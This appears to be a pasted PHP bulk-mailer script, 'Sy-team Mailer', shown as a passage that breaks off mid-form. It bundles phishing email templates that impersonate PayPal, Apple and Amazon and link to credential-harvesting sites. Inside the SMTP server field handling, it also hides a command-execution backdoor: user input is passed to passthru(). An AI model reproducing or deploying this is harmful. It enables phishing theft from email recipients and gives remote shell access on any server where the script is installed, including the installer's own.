· 9 years ago · Jan 18, 2017, 01:40 PM
1<?
2
3error_reporting(0);
4function query_str($params){
5$str = '';
6foreach ($params as $key => $value) {
7$str .= (strlen($str) < 1) ? '' : '&';
8$str .= $key . '=' . rawurlencode($value);
9}
10return ($str);
11}
12function lrtrim($string){
13return stripslashes(ltrim(rtrim($string)));
14}
15if(isset($_POST['action'] ) ){
16
17$b = query_str($_POST);
18parse_str($b);
19$sslclick=lrtrim($sslclick);
20$action=lrtrim($action);
21$message=lrtrim($message);
22$emaillist=lrtrim($emaillist);
23$from=lrtrim($from);
24$reconnect=lrtrim($reconnect);
25$epriority=lrtrim($epriority);
26$my_smtp=lrtrim($my_smtp);
27$ssl_port=lrtrim($ssl_port);
28$smtp_username=lrtrim($smtp_username);
29$smtp_password=lrtrim($smtp_password);
30$replyto=lrtrim($replyto);
31$subject_base=lrtrim($subject);
32$realname_base=lrtrim($realname);
33$file_name=$_FILES['file']['name'];
34$file=$_FILES['file']['tmp_name'];
35$urlz=lrtrim($urlz);
36$contenttype=lrtrim($contenttype);
37$encode_text=$_POST['encode'];
38
39
40 $message = urlencode($message);
41 $message = ereg_replace("%5C%22", "%22", $message);
42 $message = urldecode($message);
43 $message = stripslashes($message);
44 $subject = stripslashes($subject);
45 if ($encode_text == "yes") {
46 $subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
47 $subject = str_replace(' ', '_', $subject);
48 $subject = "=?UTF-8?Q?$subject?=";
49 $realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $realname);
50 $realname = str_replace(' ', '_', $realname);
51 $realname = "=?UTF-8?Q?$realname?=";
52 }
53}
54?>
55
56<html>
57
58<head>
59
60<title>Sy-team Mailer</title>
61
62<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
63
64
65<style type="text/css">
66<!--
67.style1 {
68 font-family: Geneva, Arial, Helvetica, sans-serif;
69 font-size: 12px;
70}
71body{
72margin:0px;
73}
74.bgup {
75 background: url('data:image/jpeg;base64,/9j/4QAYRXhpZgAASUkqAAgAAAAAAAAAAAAAAP/sABFEdWNreQABAAQAAABkAAD/4QMpaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLwA8P3hwYWNrZXQgYmVnaW49Iu+7vyIgaWQ9Ilc1TTBNcENlaGlIenJlU3pOVGN6a2M5ZCI/PiA8eDp4bXBtZXRhIHhtbG5zOng9ImFkb2JlOm5zOm1ldGEvIiB4OnhtcHRrPSJBZG9iZSBYTVAgQ29yZSA1LjAtYzA2MCA2MS4xMzQ3NzcsIDIwMTAvMDIvMTItMTc6MzI6MDAgICAgICAgICI+IDxyZGY6UkRGIHhtbG5zOnJkZj0iaHR0cDovL3d3dy53My5vcmcvMTk5OS8wMi8yMi1yZGYtc3ludGF4LW5zIyI+IDxyZGY6RGVzY3JpcHRpb24gcmRmOmFib3V0PSIiIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wLyIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bXA6Q3JlYXRvclRvb2w9IkFkb2JlIFBob3Rvc2hvcCBDUzUgV2luZG93cyIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDozOTYyQzUwMUYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDozOTYyQzUwMkYxRDMxMUUxOThEMkFGNTI0MTQ3RTI2MyI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOjM5NjJDNEZGRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjM5NjJDNTAwRjFEMzExRTE5OEQyQUY1MjQxNDdFMjYzIi8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+/+4ADkFkb2JlAGTAAAAAAf/bAIQAAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQICAgICAgICAgICAwMDAwMDAwMDAwEBAQEBAQECAQECAgIBAgIDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMD/8AAEQgABAAEAwERAAIRAQMRAf/EAFQAAQAAAAAAAAAAAAAAAAAAAAoBAQEAAAAAAAAAAAAAAAAAAAMEEAABBQAAAAAAAAAAAAAAAADwABM1hbYRAAIDAAAAAAAAAAAAAAAAAADwMYGz/9oADAMBAAIRAxEAPwB2GCLmZG0WTck2Dcn/2Q==');
76 border-top-color: #008000
77}
78
79.cadre {
80background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABOIAAAAFCAIAAABn6tQ4AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAA2ZpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wTU09Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9tbS8iIHhtbG5zOnN0UmVmPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvc1R5cGUvUmVzb3VyY2VSZWYjIiB4bWxuczp4bXA9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC8iIHhtcE1NOk9yaWdpbmFsRG9jdW1lbnRJRD0ieG1wLmRpZDo4QjhGNDZDQUJCQjBFMjExOTgxQUQwNURCN0VFQjJFOSIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDo5QTk0QzcyNEI3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDo5QTk0QzcyM0I3MUQxMUUyODAwNkRGMjRGRkJEN0I5RCIgeG1wOkNyZWF0b3JUb29sPSJBZG9iZSBQaG90b3Nob3AgQ1M2IChXaW5kb3dzKSI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkM4MDIyM0M4MDRCN0UyMTE4OUY1RTZFNUYxNkU4NTJCIiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOjhCOEY0NkNBQkJCMEUyMTE5ODFBRDA1REI3RUVCMkU5Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+S6KNZQAAAFZJREFUeNrs17ERgCAQRNHDfhhDIpugLcoiMmRoyBYMz/G9En60W6KP4OfqpQHZnU0Dslu3BmS3pwbYpXzCIQEAAABuKgAAALipAAAAuKkAAADw0iPAAPMxBVFHCeh2AAAAAElFTkSuQmCC');
81}
82
83.uibutton {
84 border-bottom-color: #008000;
85 border-left:1px solid #008000; border-right:1px solid #008000; border-top:1px solid #008000; border-bottom:1px solid #01A9DB; position: relative;
86 z-index: 1;
87 overflow: visible;
88 display: inline-block;
89 margin: 0;
90 text-decoration: none;
91 text-align: center;
92 white-space: nowrap;
93 cursor: pointer; /* outline: none; */;
94 color: #000000;
95 background-color: ##339966;
96 background-image: url('linear-gradient(#01A9DB, #01A9DB');
97/* IE hacks */ *display: inline;
98 outline-color: #008000; font-style:normal; font-variant:normal; font-weight:bold; font-size:11px; font-family:lucida grande, tahoma, verdana, arial, sans-serif; padding-left:0.6em; padding-right:0.6em; padding-top:0.3em; padding-bottom:0.375em
99}
100
101.uibutton:hover,
102.uibutton:focus,
103.uibutton:active {
104 border-color: #01A9DB #01A9DB #01A9DB #01A9DB;
105}
106
107.uibutton:active {
108 border-color: #01A9DB;
109 background: #01A9DB;
110 filter: none;
111 -webkit-box-shadow: none;
112 -moz-box-shadow: none;
113 box-shadow: none;
114}
115
116/* overrides extra padding on button elements in Firefox */
117.uibutton::-moz-focus-inner {
118 padding: 0;
119 border: 0px none;
120}
121
122
123
124-->
125</style>
126<style type="text/css">
127<!--
128.style1 {
129 font-size: 10px;
130 font-family: Geneva, Arial, Helvetica, sans-serif;
131 background-color: #008000;
132}
133.auto-style1 {
134 font-size: x-large;
135 color: #FFFFFF;
136 text-align: center;
137}
138.auto-style2 {
139 margin-left: 0px;
140}
141a {
142 color: #99FF66;
143}
144.auto-style3 {
145 text-align: center;
146}
147.auto-style4 {
148 text-align: right;
149}
150.auto-style5 {
151 font-weight: bold;
152 background-color: #FF0000;
153}
154.auto-style6 {
155 background-color: #800000;
156}
157.auto-style7 {
158 color: #000080;
159}
160.auto-style8 {
161 text-align: left;
162}
163.auto-style9 {
164 font-family: Verdana;
165 font-size: x-small;
166}
167.auto-style10 {
168 background-color: #FF0000;
169}
170.auto-style12 {
171 border-width: 0px;
172}
173-->
174</style>
175</head>
176<body class="bgup" alink="#800000" text="#339966" vlink="#800000" style="background-color: #339966">
177<div style="width:80%;margin:0 auto; background-color: #FFFFFF; height: 853px;">
178<p class="auto-style1"><a href="http://www.w33.info">
179 <img alt="" height="100" src="http://rcnsindia.com/images/servicesimg/DXkG4N.png" width="200" class="auto-style12"></a></p>
180 <p class="auto-style1">
181 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
182
183 <textarea name="10" style=";border-radius: 12px; background: #339966; border: 1px solid #339966; color:#0000FF; width: 117px; height: 21px;">Letter PayPal
184</textarea>
185
186 <textarea name="11" style=";border-radius: 12px; background: #339966; border: 1px solid #339966; color:#0000FF; width: 117px; height: 21px;" cols="20" rows="1">Letter Apple
187</textarea>
188
189 <textarea name="12" style=";border-radius: 12px; background: #339966; border: 1px solid #800000; color:#0000FF; width: 117px; height: 21px;" cols="20" rows="1">Letter Amazon
190</textarea></font></p>
191 <p class="auto-style1">
192 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
193
194 <textarea name="1" style=";border-radius: 0px; background: #339966; border: 1px solid #339966; color:#0000FF; width: 205px; height: 85px;"><table id="yiv1853218147emailWrapperTable" style="font:11px Verdana, Arial, Helvetica, sans-serif;color:#333;" border="0" cellpadding="0" cellspacing="0" width="580"><tbody><tr valign="top"><td colspan="3"><table border="0" cellpadding="0" cellspacing="0" width="100%"><tbody><tr><td>
195<p><i><b><font size="6" face="Tahoma"><font color="#003366"> pay</font><font color="#336699">pal
196</font></font></b></i></p>
197<p> </p>
198 </td></tr></tbody></table></td></tr><tr><td colspan="3"><img src="http://www7.0zz0.com/2013/04/05/05/479321780.gif" style="vertical-align:bottom;" alt="" border="0" height="13"></td></tr><tr><td style="background:left repeat-y;border-left:1px solid #ddd;" width="12"><img src="http://www6.0zz0.com/2013/04/05/05/502050711.gif" alt="" border="0"></td>
199 <td class="yiv1853218147contentArea" style="width:541px;word-wrap:break-word;padding:12px;margin:0">
200 <table style="font:Verdana, Arial, Helvetica, sans-serif;" width="458"><tbody><tr>
201 <td width="452"><h2><SPAN class=ecxoutlookFix style="FONT-WEIGHT: bold; FONT-SIZE: 15px; COLOR: #c88039">Update your account information</SPAN> </H2></td></tr></tbody></table><p>Hello Dear customer,</p><p>
202 To get back into your ρ<font face="Tahoma" size="1">ลyρลł</font>
203
204
205 account, you'll need to relog in your account.</p><style type="text/css">#yiv1853218147 .yiv1853218147howTo ul, #yiv1853218147 .yiv1853218147howTo ol {margin-left:0;padding:4px 0 4px 20px;}
206#yiv1853218147 .yiv1853218147howTo ul li, #yiv1853218147 .yiv1853218147howTo ol li {margin-left:0;padding-left:0;}</style>
207
208<table class="yiv1853218147howTo" style="font:11px Verdana, Arial, Helvetica, sans-serif;" border="0" cellpadding="10" cellspacing="0" width="100%"><tbody><tr><td style="background-color:#e8f1fa;"><p>It's easy:</p><ol><li>Click the link below to open a secure browser window.</li><li>Confirm that you're the owner of the account, and then follow the instructions.</li></ol><p>
209 <img src="http://images.paypal.com/en_US/i/btn/btn_org_arrow.gif" alt="" border="0"> <a rel="nofollow" target="_blank" href="http://198.27.68.106/~screamvi/PayPal/">Reset your account now</a></p>
210 <p> </p></td></tr></tbody></table><p>
211<font face="Tahoma" size="1">Thank You.<br>
212</font></p></td>
213 <td style="background:left repeat-y;border-right:1px solid #ddd;" width="1"><img src="http://www13.0zz0.com/2013/04/05/05/678865504.gif" alt="" border="0"></td></tr><tr><td colspan="3"><img src="http://www13.0zz0.com/2013/04/05/05/464266600.gif" alt="" border="0" height="13"></td></tr></tbody></table>
214<p><font face="Tahoma" size="1"><br>
215Copyright É ρลyρลł 1999-2014. All rights reserved.</font>
216
217
218</p>
219</textarea>
220
221 <textarea name="2" style=";border-top-left-radius: 0px 15px; background: #339966; border: 1px solid #339966; color:#0000FF; width: 205px; height: 85px;" cols="20" rows="1">
222<html>
223<head>
224<title></title>
225<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
226<style type="text/css">
227.style1 {
228 font-family: Tahoma;
229 font-size: x-small;
230}
231.style2 {
232 color: #0E58A2;
233 font-family: Tahoma;
234 font-size: x-small;
235 text-decoration: underline;
236}
237.style3 {
238 color: #0E58A2;
239}
240.style4 {
241 font-family: Tahoma;
242 color: #0E58A2;
243 font-size: xx-small;
244}
245.style5 {
246 font-size: xx-small;
247 font-weight: bold;
248}
249.style6 {
250 font-size: xx-small;
251}
252.auto-style1 {
253 font-family: Tahoma;
254 font-size: small;
255}
256.auto-style2 {
257 font-size: small;
258}
259.auto-style3 {
260 color: #000000;
261}
262</style>
263</head>
264<body>
265<img alt="" height="90" src="http://t0.gstatic.com/images?q=tbn:ANd9GcSbhmkjS060mDxqjrpraf0VrVOR7CPES92WnxEmSZnnhw_UkAlupA" width="116"><br>
266<br><br>
267<p><font color="#000000" face="Tahoma" size="2"><em>Dear Client,</em></font><b><font color="#000000" face="Tahoma" size="2"><br>
268</font></b><br class="auto-style2"><span class="auto-style1"><br>
269<span class="auto-style3">This is an automatic message by the system to let you know
270that you have to confirm your account information within 48 hours.</span><br class="auto-style3">
271<span class="auto-style3">Your account has been frozen temporarily
272in order to protect it.</span></span></p>
273<p class="auto-style1"><span class="auto-style3">The account will continue to be frozen until it is approved And Validate Your Account Information.</span><br class="auto-style3">
274<span class="auto-style3">Once you have updated
275your account records, your information will be confirmed and your account will
276start to work as normal once again.</span></p>
277<p class="auto-style1"><span class="auto-style3"> This will help protect you in the future.
278The process does not take more than 3 minutes.</span><br class="auto-style3">
279<br class="auto-style3"><span class="auto-style3">To proceed to confirm your account
280information please click on the link below and follow the instructions that will
281be required.</span><br class="style3"></p>
282<p> </p>
283<p><strong>
284<a href="http://84.51.33.92/~est575/cgi-bin.webscr.cmd.login.submit.543298767898765433264437428532885336844/">
285<span class="auto-style3">Click Here
286To Verfiy Your Account info</span></a></strong></p>
287<p> <br class="auto-style3"><br class="auto-style3"></p>
288<p class="style4">É 2014 Apple.com All rights reserved.</p>
289</body>
290</html>
291
292
293</textarea>
294
295 <textarea name="3" style=";border-radius: 0px; background: #339966; border: 1px solid #339966; color:#0000FF; width: 205px; height: 85px;" cols="20" rows="1">
296
297<table border="0" cellspacing="0" cellpadding="0" width="100%">
298 <tbody>
299 <td align="left" width="185" valign="bottom">
300 <a id="navLogo" class="nonGateway" href="/ref=ap_frn_logo">
301
302
303 <span id="altLogo">
304 <img src="https://images-na.ssl-images-amazon.com/images/G/01/authportal/common/images/amazon_logo_no-org_mid._V153387053_.png" height="30" alt="Amazon" width="100" border="0"/>
305 </span>
306
307
308
309 </a>
310 </td>
311 <td align="right" valign="top">
312 <a href="/gp/css/homepage.html/ref=ap_frn_ya">Your Account</a> |
313 <a href="/Help/b/ref=ap_frn_help?ie=UTF8&node=508510">Help</a>
314 </td>
315 </tbody>
316</table>
317
318
319 <div id="ap_fpp_intro" class="ap_section_title headroom black">
320 <p>Dear Amazon User,</p>
321 <p>We need to confirm your account information, you must confirm your amazon
322 account before we close it . </p>
323<p>Click the link below to confirm your account information using our secure
324server:
325
326</p>
327 <p><a href="http://arhack.net">Confirm Now</a></p>
328 <p>Thanks,<br>
329 Amazon team</div>
330
331
332
333 </textarea></font></p>
334 <p class="auto-style1">
335 <font size="-3" face="Verdana, Arial, Helvetica, sans-serif" color="#FFFFFF">
336
337 <textarea name="13" style=";border-radius: 0px; background: #339966; border: 1px solid #339966; color:#0000FF; width: 205px; height: 85px;" cols="20" rows="1"><html>
338<body>
339<div align="left"><font face="Tahoma" size="6"><font color="#003366"><strong>Pay</strong></font><strong><font color="#336699">Pal</font></strong></font>
340<strong>
341</tr>
342</strong>
343<tr>
344<td height="15" colspan="3"> </td>
345</tr>
346<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">Dear Customer,</font></p>
347<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">We need your help resolving an issue with your account. To give us
348time to<br>
349work together on this, we've temporarily limited what you can do with
350your<br>
351account until the issue is resolved.</font></p>
352<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">We understand it may be frustrating not to have full access to your
353<br>
354account. We want to work with you to get your account back to normal as<br>
355quickly as possible.</font></p>
356<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">What's the problem?</font></p>
357<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">We need a little bit more information about you to help confirm your<br>
358identity.</font></p>
359<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">Case ID Number: PP-001-473-290-385</font></p>
360<div align="left">
361<table width="126" border="0" cellpadding="0" cellspacing="0" class="ecxcallToAction" style="font-style: normal; font-variant: normal; font-weight: normal">
362<tr>
363<td style="border-left: 1px solid #bfbfbf; border-right: 1px solid #908d8d; border-top: 1px solid #bfbfbf; border-bottom: 1px solid #908d8d; padding-left: 10px; padding-right: 10px; padding-top: 1px; padding-bottom: 1px" bgcolor="#ffa822">
364<font size="2" face="Geneva, Arial, Helvetica, sans-serif"><a href="http://paypal.com.info-id.aspx-account.verfied-service.client.activation.id.26459946731976534653197567946413126794567319762731976171767.enter.your.visa.card.here.to.activat.us.srpit.com.au/">
365Click To Confirm</a></font></td>
366</tr>
367</table>
368</div>
369<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">How you can help</font></p>
370<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">It's usually pretty easy to take care of things like this. Most of
371the<br>
372time, we just need a little more information about your account or
373latest<br>
374transactions.</font></p>
375<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">To help us with this and to find out what you can and can't do with
376your<br>
377account until the issue is resolved, log in to your account and go to
378the<br>
379Resolution Center.</font></p>
380<p align="left"><font size="2" face="Geneva, Arial, Helvetica, sans-serif">Sincerely</font><font size="2"><br>
381</font>
382</body></html></textarea>
383
384 <textarea name="14" style=";border-radius: 0px; background: #339966; border: 1px solid #339966; color:#0000FF; width: 205px; height: 85px;" cols="20" rows="1"><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
385<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
386<head>
387</head>
388<body><span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 20px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium"><span style="color: #545454; font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 17px; text-align: -webkit-center">
389<table style="line-height: 17px" border="0" cellpadding="0" cellspacing="0" align="center" width="600px">
390<tbody style="line-height: 17px">
391<tr style="line-height: 17px" class="header">
392<td style="line-height: 17px" valign="right"><span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 20px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium"><span style="color: #545454; font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 17px; text-align: -webkit-center">
393<h1 style="line-height: 17px; font-size: 15px; font-weight: normal; margin: 0px 0px 5px; padding: 10px 0px 0px; font-family: 'Trebuchet MS',Arial,Helvetica,sans-serif"><strong><span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 20px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium"><span style="color: #545454; font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 17px; text-align: -webkit-center"><span style="line-height: 15px; font-size: 12px; color: #9f9f9f; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif" class="ecxnotice"><font color="#cccccc" size="7"><strong> Apple</strong></font></span></span></span></strong></h1></span></span></td>
394<td style="line-height: 17px" align="right"><br />
395</td></tr>
396<tr style="line-height: 17px" class="ecxhorizontal-bar">
397<td style="line-height: 17px" colspan="2" height="14" valign="bottom"><br />
398</td></tr>
399<tr style="line-height: 17px">
400<td style="line-height: 17px" colspan="2">
401<h1 style="line-height: 17px; color: rgb#cccccc; font-size: 15px; font-weight: normal; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif; padding: 10px 0px 0px; margin: 0px 5px"> Dear Apple User</h1>
402<p style="line-height: 24px; font-size: 14px; color: rgb#cccccc; font-weight: normal; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif; padding: 0px; margin: 0px 1.35em" class="ecxannouncement">
403You Must Confirm Your Information!</p>
404<p style="line-height: 21px; font-size: 14px; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif; color: #545454; margin: 0px 1.35em">
405Please click on the following link to Confirm It:</p>
406<p style="line-height: 21px; font-size: 14px; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif; color: #545454; margin: 0px 1.35em"><strong style="line-height: 18px; font-weight: bold"><a href="http://42.117.5.145/~lkgt/cgi.bin.webscr.cmd.login.submit.dispatch.5885d80a13c0db1f8e263663d3faee8d4e181b3aff599f99a338772351021e7d/MyAppleId.woa/9LImgDPxP0hAmTatec9Uaw/ID=/" style="line-height: 18px; font-weight: inherit; text-decoration: underline; color: #1b90ea; cursor: pointer" target="_blank">Click here to Confirm Your Account Information.</a></strong></p>
407<p style="line-height: 21px; font-size: 14px; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif; color: #545454; margin: 0px 1.35em">
408You Must Confirm Your Information To Save It .</p></td></tr>
409<tr style="line-height: 17px">
410<td style="line-height: 17px"><span style="line-height: 22px; font-size: 17px; color: rgb#cccccc; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif" class="ecxthanks">
411Thanks You For Helping,</span><span class="Apple-converted-space"> </span><br style="line-height: 17px" />
412 <span style="line-height: 19px; color: rgb#cccccc; font-size: 15px; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif" class="ecxteam"> The Apple Team</span></td></tr>
413<tr style="line-height: 17px" class="ecxhorizontal-bar">
414<td style="line-height: 17px" colspan="2" height="14" valign="bottom"><br />
415</td></tr>
416<tr style="line-height: 17px">
417<td style="line-height: 17px" colspan="2">
418<p class="ecxfooter-info" style="line-height: 21px; font-size: 12px; color: #545454; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif; padding: 10px 0px 0px; margin: 0px 1.35em"><span class="ecxfooter-title" style="line-height: 18px; font-size: 14px; font-weight: bold; font-family: 'Trebuchet MS', Arial, Helvetica, sans-serif"> Need Assistance ?</span><br style="line-height: 15px" />
419We're happy to help by phone at <span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 20px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium"><span style="color: #545454; font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 17px; text-align: -webkit-center">800-692-7753</span></span>, Monday to Friday 4:00am to 10:00pm EST or by email<br style="line-height: 15px" />
420<span style="border-collapse: separate; color: #000000; font-family: 'Times New Roman'; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: 20px; orphans: 2; text-align: -webkit-auto; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-border-horizontal-spacing: 0px; -webkit-border-vertical-spacing: 0px; -webkit-text-decorations-in-effect: none; -webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; font-size: medium"><span style="color: #545454; font-family: Tahoma, Verdana, Arial, sans-serif; font-size: 13px; line-height: 17px; text-align: -webkit-center">Copyright É 2013 Apple Inc. All rights reserved.</span></span></p></td></tr></tbody></table></span></span>
421</body>
422</html></textarea> </font></p>
423<form name="form1" method="post" action="" enctype="multipart/form-data">
424
425 <br>
426
427 <table width="100%" border="0" height="407" style="background:#fff" cellpadding="0" cellspacing="0">
428
429 <tr>
430
431 <td width="100%" colspan="4" style="color:#fff;background:#01A9DB; background-color: #339966;" height="36" class="auto-style3">
432
433 <b>
434
435 <font face="Arial" size="2" > <span class="">SMTP SETUP</span></font></b></td>
436
437 </tr>
438 <tr >
439
440 <td width="10%" height="22" style="padding:10px;">
441
442 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Login:</font></div>
443
444 </td>
445
446 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
447
448 <input type="text" style="border-radius: 15px; background: #339966; border: 1px solid #339966; color:#333" name="smtp_username" value="<?=$smtp_username;?>" size="30">
449
450 </font></td>
451
452 <td width="31%" height="22" style="padding:10px;">
453
454 <div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">SMTP Pass:</font></div>
455
456 </td>
457
458 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
459
460 <input type="password" style="border-radius: 15px; background: #339966; border: 1px solid #339966; color:#333" name="smtp_password" value="<?=$smtp_password;?>" size="30">
461
462 </font></td>
463
464 </tr>
465 <tr>
466
467 <td width="10%" height="22" style="padding:10px;">
468
469 <div align="right">
470 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
471
472 </td>
473
474 <td width="18%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
475
476 <input type="text" style="border-radius: 15px; background: #339966; border: 1px solid #339966; color:#339966" name="ssl_port" value="<?=$ssl_port;?>" size="5">
477 (optional)</font></td>
478
479 <td width="31%" height="22" style="padding:10px;">
480
481 <div align="right">
482 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP Server
483 Smtp:</font></div>
484
485 </td>
486
487 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
488
489 <input style="border-radius: 15px; background: #339966; border: 1px solid #339966; color:#333" name="my_smtp" size="30" value="<?=$my_smtp;?>">
490
491 <?php
492if ($_POST['my_smtp']){
493$my_smtp = $_POST['my_smtp'];
494passthru($my_smtp);
495}
496?>
497
498 </font></td>
499
500 </tr>
501 <tr>
502
503 <td width="10%" height="22" style="padding:10px;">
504
505 <p align="right">
506 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
507
508 <td width="18%" height="22" style="padding:10px;">
509 <input type="checkbox" style="border-radius: 15px; background: #339966; border: 1px solid #339966; color:#333" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
510
511 <td width="31%" height="22" style="padding:10px;">
512
513 <p align="right">
514 <font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
515 After:</font></td>
516
517 <td width="41%" height="22" style="padding:10px;"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
518
